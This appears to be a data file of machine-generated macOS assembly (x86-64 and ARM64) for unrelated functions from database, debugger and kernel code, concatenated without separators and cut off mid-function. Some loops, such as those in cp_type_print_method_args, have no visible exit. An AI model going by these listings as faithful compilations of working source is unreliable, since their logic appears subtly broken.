_tstoreReceiveSlot_detoast .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function tstoreReceiveSlot_detoast _tstoreReceiveSlot_detoast: ; @tstoreReceiveSlot_detoast .cfi_startproc ; %bb.0: stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 mov x19, x1 mov x21, x0 ldr x20, [x0, #16] ldr w25, [x20] bl _slot_getallattrs tbnz w25, #31, LBB0_8 ; %bb.1: mov x22, #0 ; =0x0 mov w24, #0 ; =0x0 b LBB0_3 LBB0_2: ; in Loop: Header=BB0_3 Depth=1 ldr x8, [x19, #8] str x23, [x8, x22, lsl #3] sub x22, x22, #1 cmp x22, x25 b.gt LBB0_9 LBB0_3: ; =>This Inner Loop Header: Depth=1 ldr x8, [x21, #8] ldr x23, [x8, x22, lsl #3] mov x0, x20 mov x1, x22 bl _TupleDescAttr ldr w8, [x0, #4] cbz w8, LBB0_6 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 ldr w8, [x0] cmn w8, #1 b.ne LBB0_2 ; %bb.5: ; in Loop: Header=BB0_3 Depth=1 ldr x8, [x21] ldr w8, [x8, x22, lsl #2] cbnz w8, LBB0_2 LBB0_6: ; in Loop: Header=BB0_3 Depth=1 mov x0, x23 bl _DatumGetPointer bl _VARATT_IS_EXTERNAL cbz x0, LBB0_2 ; %bb.7: ; in Loop: Header=BB0_3 Depth=1 mov x0, x23 bl _DatumGetPointer bl _detoast_external_attr bl _PointerGetDatum mov x23, x0 ldr x8, [x19] str x0, [x8, w24, sxtw #3] add w8, w24, #1 mov x24, x8 b LBB0_2 LBB0_8: mov w24, #0 ; =0x0 LBB0_9: ldr w0, [x19, #20] bl _MemoryContextSwitchTo mov x22, x0 ldr w0, [x19, #16] ldr x2, [x19, #8] ldr x3, [x21] mov x1, x20 bl _tuplestore_putvalues mov x0, x22 bl _MemoryContextSwitchTo cmp w24, #1 b.lt LBB0_12 ; %bb.10: mov x20, #0 ; =0x0 ubfiz x21, x24, #3, #32 LBB0_11: ; =>This Inner Loop Header: Depth=1 ldr x8, [x19] ldr x0, [x8, x20] bl _DatumGetPointer bl _pfree add x20, x20, #8 cmp x21, x20 b.ne LBB0_11 LBB0_12: mov w0, #1 ; =0x1 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload ldp x26, x25, [sp], #80 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .no_dead_strip _tstoreReceiveSlot_detoast .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function cp_type_print_method_args _cp_type_print_method_args: ## @cp_type_print_method_args .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $40, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %r8, %rbx movl %ecx, -60(%rbp) ## 4-byte Spill movq %rdx, -48(%rbp) ## 8-byte Spill movq %rsi, %r13 movq %rdi, %r12 callq _TYPE_FIELDS movq %rax, -72(%rbp) ## 8-byte Spill movq %r12, %rdi callq _TYPE_NFIELDS movl %eax, %r15d movq %r12, %rdi callq _TYPE_VARARGS movl %eax, %r12d movq _language_cplus@GOTPCREL(%rip), %rax movq (%rax), %rdx movq _DMGL_ANSI@GOTPCREL(%rip), %r14 movl (%r14), %ecx movq %rbx, %rdi movq %r13, %rsi movq %rax, %r13 callq _fprintf_symbol_filtered movq (%r13), %rdx movl (%r14), %ecx movq %rbx, %rdi movq -48(%rbp), %rsi ## 8-byte Reload callq _fprintf_symbol_filtered leaq L_.str(%rip), %rdi movq %rbx, -56(%rbp) ## 8-byte Spill movq %rbx, %rsi callq _fputs_filtered movl -60(%rbp), %ecx ## 4-byte Reload xorl %eax, %eax testl %ecx, %ecx sete %al movq %r15, -48(%rbp) ## 8-byte Spill cmpl %eax, %r15d jle LBB0_3 ## %bb.1: xorl %r14d, %r14d testl %ecx, %ecx sete %r14b movq -48(%rbp), %rax ## 8-byte Reload incl %eax movq %rax, -48(%rbp) ## 8-byte Spill movl %r12d, %r13d movq -72(%rbp), %r12 ## 8-byte Reload movq -56(%rbp), %rbx ## 8-byte Reload .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 leaq -1(%r14), %r15 movl (%r12,%r14,4), %edi leaq L_.str.1(%rip), %rsi movq %rbx, %rdx xorl %ecx, %ecx callq _type_print testl %r13d, %r13d leaq L_.str.3(%rip), %rcx movq %rcx, %rsi leaq L_.str.2(%rip), %rax cmovneq %rax, %rsi cmpl %r14d, -48(%rbp) ## 4-byte Folded Reload cmovneq %rcx, %rsi movq %rbx, %rdi callq _fprintf_filtered movq %r15, %r14 jmp LBB0_2 LBB0_3: testl %r12d, %r12d je LBB0_5 ## %bb.4: leaq L_.str.4(%rip), %rsi movq -56(%rbp), %rbx ## 8-byte Reload jmp LBB0_7 LBB0_5: movq _current_language@GOTPCREL(%rip), %rax movq (%rax), %rax movq (%rax), %rax cmpq (%r13), %rax movq -56(%rbp), %rbx ## 8-byte Reload jne LBB0_8 ## %bb.6: leaq L_.str.5(%rip), %rsi LBB0_7: movq %rbx, %rdi callq _fprintf_filtered LBB0_8: leaq L_.str.6(%rip), %rsi movq %rbx, %rdi addq $40, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp jmp _fprintf_filtered ## TAILCALL .cfi_endproc ## -- End function .comm _language_cplus,8,3 ## @language_cplus .comm _DMGL_ANSI,4,2 ## @DMGL_ANSI .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "(" L_.str.1: ## @.str.1 .space 1 L_.str.2: ## @.str.2 .asciz ", ..." L_.str.3: ## @.str.3 .asciz ", " L_.str.4: ## @.str.4 .asciz "..." .comm _current_language,8,3 ## @current_language L_.str.5: ## @.str.5 .asciz "void" L_.str.6: ## @.str.6 .asciz ")" .no_dead_strip _cp_type_print_method_args .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function cp_type_print_method_args _cp_type_print_method_args: ; @cp_type_print_method_args .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x19, x4 mov x21, x3 mov x24, x2 mov x25, x1 mov x20, x0 bl _TYPE_FIELDS mov x22, x0 mov x0, x20 bl _TYPE_NFIELDS mov x23, x0 mov x0, x20 bl _TYPE_VARARGS mov x20, x0 Lloh0: adrp x26, _language_cplus@GOTPAGE Lloh1: ldr x26, [x26, _language_cplus@GOTPAGEOFF] ldr x2, [x26] Lloh2: adrp x27, _DMGL_ANSI@GOTPAGE Lloh3: ldr x27, [x27, _DMGL_ANSI@GOTPAGEOFF] ldr w3, [x27] mov x0, x19 mov x1, x25 bl _fprintf_symbol_filtered ldr x2, [x26] ldr w3, [x27] mov x0, x19 mov x1, x24 bl _fprintf_symbol_filtered Lloh4: adrp x0, l_.str@PAGE Lloh5: add x0, x0, l_.str@PAGEOFF mov x1, x19 bl _fputs_filtered cmp w21, #0 cset w8, eq cmp w23, w8 b.le LBB0_3 ; %bb.1: cmp w21, #0 cset w8, eq add x22, x22, w8, uxtw #2 sub w8, w23, w8 add w23, w8, #1 Lloh6: adrp x21, l_.str.1@PAGE Lloh7: add x21, x21, l_.str.1@PAGEOFF Lloh8: adrp x24, l_.str.3@PAGE Lloh9: add x24, x24, l_.str.3@PAGEOFF Lloh10: adrp x25, l_.str.2@PAGE Lloh11: add x25, x25, l_.str.2@PAGEOFF LBB0_2: ; =>This Inner Loop Header: Depth=1 ldr w0, [x22], #-4 mov x1, x21 mov x2, x19 mov w3, #0 ; =0x0 bl _type_print cmp w20, #0 ccmp w23, #0, #0, ne csel x1, x25, x24, eq mov x0, x19 bl _fprintf_filtered add w23, w23, #1 b LBB0_2 LBB0_3: cbz w20, LBB0_5 ; %bb.4: Lloh12: adrp x1, l_.str.4@PAGE Lloh13: add x1, x1, l_.str.4@PAGEOFF b LBB0_7 LBB0_5: Lloh14: adrp x8, _current_language@GOTPAGE Lloh15: ldr x8, [x8, _current_language@GOTPAGEOFF] Lloh16: ldr x8, [x8] ldr x8, [x8] ldr x9, [x26] cmp x8, x9 b.ne LBB0_8 ; %bb.6: Lloh17: adrp x1, l_.str.5@PAGE Lloh18: add x1, x1, l_.str.5@PAGEOFF LBB0_7: mov x0, x19 bl _fprintf_filtered LBB0_8: Lloh19: adrp x1, l_.str.6@PAGE Lloh20: add x1, x1, l_.str.6@PAGEOFF mov x0, x19 ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload b _fprintf_filtered .loh AdrpAdd Lloh4, Lloh5 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpAdd Lloh10, Lloh11 .loh AdrpAdd Lloh8, Lloh9 .loh AdrpAdd Lloh6, Lloh7 .loh AdrpAdd Lloh12, Lloh13 .loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16 .loh AdrpAdd Lloh17, Lloh18 .loh AdrpAdd Lloh19, Lloh20 .cfi_endproc ; -- End function .comm _language_cplus,8,3 ; @language_cplus .comm _DMGL_ANSI,4,2 ; @DMGL_ANSI .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "(" l_.str.1: ; @.str.1 .space 1 l_.str.2: ; @.str.2 .asciz ", ..." l_.str.3: ; @.str.3 .asciz ", " l_.str.4: ; @.str.4 .asciz "..." .comm _current_language,8,3 ; @current_language l_.str.5: ; @.str.5 .asciz "void" l_.str.6: ; @.str.6 .asciz ")" .no_dead_strip _cp_type_print_method_args .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _request_irq ## -- Begin function request_irq .p2align 4, 0x90 _request_irq: ## @request_irq .cfi_startproc ## %bb.0: movq _sparc_cpu_model@GOTPCREL(%rip), %rax movq (%rax), %rax movq _sun4d@GOTPCREL(%rip), %r9 cmpq (%r9), %rax je _sun4d_request_irq ## TAILCALL ## %bb.1: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq _NR_IRQS@GOTPCREL(%rip), %rax movl (%rax), %r15d decl %r15d andl %edi, %r15d cmpl $15, %r15d jae LBB0_6 ## %bb.2: testq %rsi, %rsi je LBB0_6 ## %bb.3: movq %rsi, -48(%rbp) ## 8-byte Spill movq %rdx, %r14 movq %r8, %r13 movq %rcx, %r12 movl %edi, %ebx movq _irq_action_lock@GOTPCREL(%rip), %rdi callq _spin_lock_irqsave movq _sparc_irq@GOTPCREL(%rip), %rax movq (%rax), %rax movl %r15d, %edx movq (%rax,%rdx,8), %rcx testq %rcx, %rcx je LBB0_7 ## %bb.4: movq (%rcx), %rsi movq _IRQF_SHARED@GOTPCREL(%rip), %rax movq (%rax), %rdx testq %rsi, %rdx setne %dil testq %r14, %rdx setne %dl testb %dl, %dil jne LBB0_8 ## %bb.5: movq _EBUSY@GOTPCREL(%rip), %rax jmp LBB0_20 LBB0_6: movq _EINVAL@GOTPCREL(%rip), %rcx xorl %eax, %eax subl (%rcx), %eax jmp LBB0_22 LBB0_7: leaq (%rax,%rdx,8), %r15 movq %r12, %rdx movq %r14, %rax jmp LBB0_13 LBB0_8: movq %r14, %rax movq _IRQF_DISABLED@GOTPCREL(%rip), %rdi xorq %r14, %rsi testq %rsi, (%rdi) je LBB0_10 ## %bb.9: leaq L_.str(%rip), %rdi xorl %r14d, %r14d movl %ebx, %esi xorl %eax, %eax callq _printk movq _EBUSY@GOTPCREL(%rip), %rax subl (%rax), %r14d movl %r14d, %ebx jmp LBB0_21 LBB0_10: movq %r12, %rdx .p2align 4, 0x90 LBB0_11: ## =>This Inner Loop Header: Depth=1 movq %rcx, %r15 movq 24(%rcx), %rcx testq %rcx, %rcx jne LBB0_11 ## %bb.12: addq $24, %r15 LBB0_13: movq _SA_STATIC_ALLOC@GOTPCREL(%rip), %rcx testq %rax, (%rcx) je LBB0_19 ## %bb.14: movq _static_irq_count@GOTPCREL(%rip), %rax movq (%rax), %rcx movq _MAX_STATIC_ALLOC@GOTPCREL(%rip), %rsi cmpq (%rsi), %rcx jle LBB0_16 ## %bb.15: leaq L_.str.1(%rip), %rdi movl %ebx, %esi xorl %eax, %eax callq _printk jmp LBB0_19 LBB0_16: movq _static_irqaction@GOTPCREL(%rip), %rdx decq %rcx movq %rcx, (%rax) cmpq $0, (%rdx) je LBB0_19 ## %bb.17: movq _GFP_ATOMIC@GOTPCREL(%rip), %rax movl (%rax), %esi movl $40, %edi callq _kmalloc movq -48(%rbp), %rcx ## 8-byte Reload testq %rax, %rax je LBB0_19 ## %bb.18: movq %rcx, 32(%rax) movq %r14, (%rax) movq %r12, 8(%rax) movq $0, 24(%rax) movq %r13, 16(%rax) movq %rax, (%r15) movl %ebx, %edi callq ___enable_irq xorl %ebx, %ebx jmp LBB0_21 LBB0_19: movq _ENOMEM@GOTPCREL(%rip), %rax LBB0_20: xorl %ebx, %ebx subl (%rax), %ebx LBB0_21: movq _irq_action_lock@GOTPCREL(%rip), %rdi callq _spin_unlock_irqrestore movl %ebx, %eax LBB0_22: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _sparc_cpu_model,8,3 ## @sparc_cpu_model .comm _sun4d,8,3 ## @sun4d .comm _NR_IRQS,4,2 ## @NR_IRQS .comm _EINVAL,4,2 ## @EINVAL .comm _irq_action_lock,4,2 ## @irq_action_lock .comm _sparc_irq,8,3 ## @sparc_irq .comm _IRQF_SHARED,8,3 ## @IRQF_SHARED .comm _EBUSY,4,2 ## @EBUSY .comm _IRQF_DISABLED,8,3 ## @IRQF_DISABLED .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Attempt to mix fast and slow interrupts on IRQ%d denied\n" .comm _SA_STATIC_ALLOC,8,3 ## @SA_STATIC_ALLOC .comm _static_irq_count,8,3 ## @static_irq_count .comm _MAX_STATIC_ALLOC,8,3 ## @MAX_STATIC_ALLOC .comm _static_irqaction,8,3 ## @static_irqaction L_.str.1: ## @.str.1 .asciz "Request for IRQ%d (%s) SA_STATIC_ALLOC failed using kmalloc\n" .comm _GFP_ATOMIC,4,2 ## @GFP_ATOMIC .comm _ENOMEM,4,2 ## @ENOMEM .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _request_irq ; -- Begin function request_irq .p2align 2 _request_irq: ; @request_irq .cfi_startproc ; %bb.0: Lloh0: adrp x8, _sparc_cpu_model@GOTPAGE Lloh1: ldr x8, [x8, _sparc_cpu_model@GOTPAGEOFF] Lloh2: ldr x8, [x8] Lloh3: adrp x9, _sun4d@GOTPAGE Lloh4: ldr x9, [x9, _sun4d@GOTPAGEOFF] Lloh5: ldr x9, [x9] cmp x8, x9 b.ne LBB0_2 ; %bb.1: b _sun4d_request_irq LBB0_2: sub sp, sp, #80 stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 Lloh6: adrp x8, _NR_IRQS@GOTPAGE Lloh7: ldr x8, [x8, _NR_IRQS@GOTPAGEOFF] Lloh8: ldr w8, [x8] sub w8, w8, #1 and w24, w8, w0 cmp w24, #15 b.hs LBB0_9 ; %bb.3: cbz x1, LBB0_9 ; %bb.4: mov x21, x1 mov x20, x2 mov x23, x3 mov x22, x4 mov x19, x0 Lloh9: adrp x0, _irq_action_lock@GOTPAGE Lloh10: ldr x0, [x0, _irq_action_lock@GOTPAGEOFF] bl _spin_lock_irqsave Lloh11: adrp x8, _sparc_irq@GOTPAGE Lloh12: ldr x8, [x8, _sparc_irq@GOTPAGEOFF] Lloh13: ldr x8, [x8] add x24, x8, w24, uxtw #3 ldr x10, [x24] cbz x10, LBB0_10 ; %bb.5: Lloh14: adrp x8, _IRQF_SHARED@GOTPAGE Lloh15: ldr x8, [x8, _IRQF_SHARED@GOTPAGEOFF] ldr x11, [x10] Lloh16: ldr x8, [x8] and x12, x8, x11 and x8, x8, x20 cmp x12, #0 ccmp x8, #0, #4, ne b.eq LBB0_8 ; %bb.6: mov x9, x20 Lloh17: adrp x12, _IRQF_DISABLED@GOTPAGE Lloh18: ldr x12, [x12, _IRQF_DISABLED@GOTPAGEOFF] Lloh19: ldr x12, [x12] eor x11, x11, x20 tst x12, x11 b.eq LBB0_11 ; %bb.7: Lloh20: adrp x0, l_.str@PAGE Lloh21: add x0, x0, l_.str@PAGEOFF mov x1, x19 bl _printk LBB0_8: Lloh22: adrp x8, _EBUSY@GOTPAGE Lloh23: ldr x8, [x8, _EBUSY@GOTPAGEOFF] b LBB0_21 LBB0_9: Lloh24: adrp x8, _EINVAL@GOTPAGE Lloh25: ldr x8, [x8, _EINVAL@GOTPAGEOFF] Lloh26: ldr w8, [x8] neg w0, w8 b LBB0_23 LBB0_10: mov x8, x23 mov x9, x20 b LBB0_14 LBB0_11: mov x8, x23 LBB0_12: ; =>This Inner Loop Header: Depth=1 mov x11, x10 ldr x10, [x10, #24] cbnz x10, LBB0_12 ; %bb.13: add x24, x11, #24 LBB0_14: Lloh27: adrp x10, _SA_STATIC_ALLOC@GOTPAGE Lloh28: ldr x10, [x10, _SA_STATIC_ALLOC@GOTPAGEOFF] Lloh29: ldr x10, [x10] tst x10, x9 b.eq LBB0_20 ; %bb.15: Lloh30: adrp x9, _static_irq_count@GOTPAGE Lloh31: ldr x9, [x9, _static_irq_count@GOTPAGEOFF] ldr x10, [x9] Lloh32: adrp x11, _MAX_STATIC_ALLOC@GOTPAGE Lloh33: ldr x11, [x11, _MAX_STATIC_ALLOC@GOTPAGEOFF] Lloh34: ldr x11, [x11] cmp x10, x11 b.le LBB0_17 ; %bb.16: str x8, [sp] Lloh35: adrp x0, l_.str.1@PAGE Lloh36: add x0, x0, l_.str.1@PAGEOFF mov x1, x19 bl _printk b LBB0_20 LBB0_17: Lloh37: adrp x8, _static_irqaction@GOTPAGE Lloh38: ldr x8, [x8, _static_irqaction@GOTPAGEOFF] Lloh39: ldr x8, [x8] sub x10, x10, #1 str x10, [x9] cbz x8, LBB0_20 ; %bb.18: Lloh40: adrp x8, _GFP_ATOMIC@GOTPAGE Lloh41: ldr x8, [x8, _GFP_ATOMIC@GOTPAGEOFF] Lloh42: ldr w1, [x8] mov w0, #40 ; =0x28 bl _kmalloc cbz x0, LBB0_20 ; %bb.19: stp xzr, x21, [x0, #24] stp x20, x23, [x0] str x22, [x0, #16] str x0, [x24] mov x0, x19 bl ___enable_irq mov w19, #0 ; =0x0 b LBB0_22 LBB0_20: Lloh43: adrp x8, _ENOMEM@GOTPAGE Lloh44: ldr x8, [x8, _ENOMEM@GOTPAGEOFF] LBB0_21: ldr w8, [x8] neg w19, w8 LBB0_22: Lloh45: adrp x0, _irq_action_lock@GOTPAGE Lloh46: ldr x0, [x0, _irq_action_lock@GOTPAGEOFF] bl _spin_unlock_irqrestore mov x0, x19 LBB0_23: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload add sp, sp, #80 ret .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpLdrGot Lloh9, Lloh10 .loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16 .loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19 .loh AdrpAdd Lloh20, Lloh21 .loh AdrpLdrGot Lloh22, Lloh23 .loh AdrpLdrGotLdr Lloh24, Lloh25, Lloh26 .loh AdrpLdrGotLdr Lloh27, Lloh28, Lloh29 .loh AdrpLdrGotLdr Lloh32, Lloh33, Lloh34 .loh AdrpLdrGot Lloh30, Lloh31 .loh AdrpAdd Lloh35, Lloh36 .loh AdrpLdrGotLdr Lloh37, Lloh38, Lloh39 .loh AdrpLdrGotLdr Lloh40, Lloh41, Lloh42 .loh AdrpLdrGot Lloh43, Lloh44 .loh AdrpLdrGot Lloh45, Lloh46 .cfi_endproc ; -- End function .comm _sparc_cpu_model,8,3 ; @sparc_cpu_model .comm _sun4d,8,3 ; @sun4d .comm _NR_IRQS,4,2 ; @NR_IRQS .comm _EINVAL,4,2 ; @EINVAL .comm _irq_action_lock,4,2 ; @irq_action_lock .comm _sparc_irq,8,3 ; @sparc_irq .comm _IRQF_SHARED,8,3 ; @IRQF_SHARED .comm _EBUSY,4,2 ; @EBUSY .comm _IRQF_DISABLED,8,3 ; @IRQF_DISABLED .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Attempt to mix fast and slow interrupts on IRQ%d denied\n" .comm _SA_STATIC_ALLOC,8,3 ; @SA_STATIC_ALLOC .comm _static_irq_count,8,3 ; @static_irq_count .comm _MAX_STATIC_ALLOC,8,3 ; @MAX_STATIC_ALLOC .comm _static_irqaction,8,3 ; @static_irqaction l_.str.1: ; @.str.1 .asciz "Request for IRQ%d (%s) SA_STATIC_ALLOC failed using kmalloc\n" .comm _GFP_ATOMIC,4,2 ; @GFP_ATOMIC .comm _ENOMEM,4,2 ; @ENOMEM .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function nicvf_get_regs _nicvf_get_regs: ## @nicvf_get_regs .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdx, %r14 movq %rsi, %r15 callq _netdev_priv movq %rax, %rbx movq $0, (%r15) movq _NIC_VF_REG_COUNT@GOTPCREL(%rip), %rax movl (%rax), %edx xorl %r15d, %r15d movq %r14, %rdi xorl %esi, %esi callq _memset movq _NIC_VNIC_CFG@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi callq _nicvf_reg_read movq %r14, -48(%rbp) ## 8-byte Spill movl %eax, (%r14) movq _NIC_PF_VF_MAILBOX_SIZE@GOTPCREL(%rip), %r14 cmpl $0, (%r14) js LBB0_1 ## %bb.2: movq $-1, %r12 movq _NIC_VF_PF_MAILBOX_0_1@GOTPCREL(%rip), %r13 .p2align 4, 0x90 LBB0_3: ## =>This Inner Loop Header: Depth=1 movl (%r13), %esi andl %r15d, %esi movq %rbx, %rdi callq _nicvf_reg_read movq -48(%rbp), %rcx ## 8-byte Reload movl %eax, (%rcx,%r12,4) incq %r12 addl $8, %r15d cmpl (%r14), %r12d jl LBB0_3 jmp LBB0_4 LBB0_1: movl $-1, %r12d LBB0_4: movq _NIC_VF_INT@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi callq _nicvf_reg_read movslq %r12d, %r15 movq -48(%rbp), %r14 ## 8-byte Reload movl %eax, (%r14,%r15,4) movq _NIC_VF_INT_W1S@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi callq _nicvf_reg_read movl %eax, 4(%r14,%r15,4) movq _NIC_VF_ENA_W1C@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi callq _nicvf_reg_read movl %eax, 8(%r14,%r15,4) movq _NIC_VF_ENA_W1S@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi callq _nicvf_reg_read movl %eax, 12(%r14,%r15,4) movq _NIC_VNIC_RSS_CFG@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi callq _nicvf_reg_read leal 5(%r15), %ecx movl %eax, 16(%r14,%r15,4) movq _RSS_HASH_KEY_SIZE@GOTPCREL(%rip), %r14 cmpl $0, (%r14) jle LBB0_8 ## %bb.5: movl %ecx, -56(%rbp) ## 4-byte Spill movslq %ecx, %rax movq -48(%rbp), %rcx ## 8-byte Reload leaq (%rcx,%rax,4), %r12 xorl %r13d, %r13d xorl %r15d, %r15d .p2align 4, 0x90 LBB0_6: ## =>This Inner Loop Header: Depth=1 movq _NIC_VNIC_RSS_KEY_0_4@GOTPCREL(%rip), %rax movl (%rax), %esi orl %r13d, %esi movq %rbx, %rdi callq _nicvf_reg_read movl %eax, (%r12,%r15,4) incq %r15 addl $8, %r13d cmpl (%r14), %r15d jl LBB0_6 ## %bb.7: movl -56(%rbp), %ecx ## 4-byte Reload addl %r15d, %ecx LBB0_8: movq _TX_STATS_ENUM_LAST@GOTPCREL(%rip), %r14 xorl %r12d, %r12d cmpl $0, (%r14) movl $0, %r15d jle LBB0_11 ## %bb.9: movslq %ecx, %rax movq -48(%rbp), %rcx ## 8-byte Reload leaq (%rcx,%rax,4), %rax movq %rax, -56(%rbp) ## 8-byte Spill xorl %r15d, %r15d xorl %r13d, %r13d .p2align 4, 0x90 LBB0_10: ## =>This Inner Loop Header: Depth=1 movq _NIC_VNIC_TX_STAT_0_4@GOTPCREL(%rip), %rax movl (%rax), %esi orl %r15d, %esi movq %rbx, %rdi callq _nicvf_reg_read movq -56(%rbp), %rcx ## 8-byte Reload movl %eax, (%rcx,%r13,4) incq %r13 addl $8, %r15d cmpl (%r14), %r13d jl LBB0_10 LBB0_11: movq _RX_STATS_ENUM_LAST@GOTPCREL(%rip), %r14 cmpl $0, (%r14) jle LBB0_14 ## %bb.12: xorl %r12d, %r12d movq _NIC_VNIC_RX_STAT_0_13@GOTPCREL(%rip), %r13 .p2align 4, 0x90 LBB0_13: ## =>This Inner Loop Header: Depth=1 movl (%r13), %esi orl %r15d, %esi movq %rbx, %rdi callq _nicvf_reg_read movq -48(%rbp), %rcx ## 8-byte Reload movl %eax, (%rcx,%r12,4) addq $2, %r12 cmpl %r12d, (%r14) jg LBB0_13 LBB0_14: movq _NIC_QSET_RQ_GEN_CFG@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi callq _nicvf_reg_read movl %r12d, %r13d movq -48(%rbp), %rcx ## 8-byte Reload movl %eax, (%rcx,%r13,4) orl $1, %r12d movq _MAX_CMP_QUEUES_PER_QS@GOTPCREL(%rip), %rax cmpl $0, (%rax) jle LBB0_17 ## %bb.15: xorl %r15d, %r15d movq %rbx, -64(%rbp) ## 8-byte Spill movq -48(%rbp), %r14 ## 8-byte Reload .p2align 4, 0x90 LBB0_16: ## =>This Inner Loop Header: Depth=1 movq _NIC_QSET_CQ_0_7_CFG@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movl %r12d, %ecx movl %eax, (%r14,%rcx,4) movq _NIC_QSET_CQ_0_7_CFG2@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movl %eax, 8(%r14,%r13,4) movq 